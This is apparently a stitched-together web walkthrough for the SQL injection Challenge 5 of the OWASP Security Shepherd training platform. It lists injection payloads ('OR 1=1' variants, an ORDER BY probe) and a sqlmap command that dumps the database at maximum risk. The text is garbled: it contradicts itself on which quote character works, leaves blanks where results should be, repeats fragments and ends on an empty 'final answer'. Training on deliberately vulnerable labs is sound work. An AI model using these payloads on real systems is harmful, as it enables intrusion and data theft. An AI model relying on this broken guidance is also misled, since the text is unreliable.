Sql Injection Challenge 5 Security Shepherd [RECOMMENDED]

To solve this challenge, you need to use double quotes to break the SQL string since single quotes are being neutralized:

If you cannot access the schema, you might need to use a simple "OR" bypass to get the "VIP" results.

: The application likely uses a basic SQL query to verify coupons, such as: SELECT coupon_code FROM coupons WHERE coupon_code = 'User_Input'; Sql Injection Challenge 5 Security Shepherd

The goal is to manipulate the SQL WHERE clause. Since we know 1@1.1 is accepted, we try to append a comment or an OR condition. Try submitting: 1@1.1' OR '1'='1

: SELECT coupon_code FROM coupons WHERE coupon_code = "" OR 1=1; To solve this challenge, you need to use

Relying on custom filtering functions, string replacements, or character escaping is classified as a weak defense strategy and is by the OWASP Cheat Sheet Series . OWASP Security Shepherd

' ORDER BY 4--

sqlmap -u "http:// /challengeURL" --cookie="JSESSIONID= " --data="vulnerable_param=1" --dbms=MySQL --level=5 --risk=3 --technique=T --dump Use code with caution.

: You need to break out of the string literal and inject a condition that always evaluates to true or forces the application to treat your coupon as a valid VIP one. Walkthrough & Solution Try submitting: 1@1

Let's assume the output reveals a table named (or similar).

Thus, final answer for the challenge: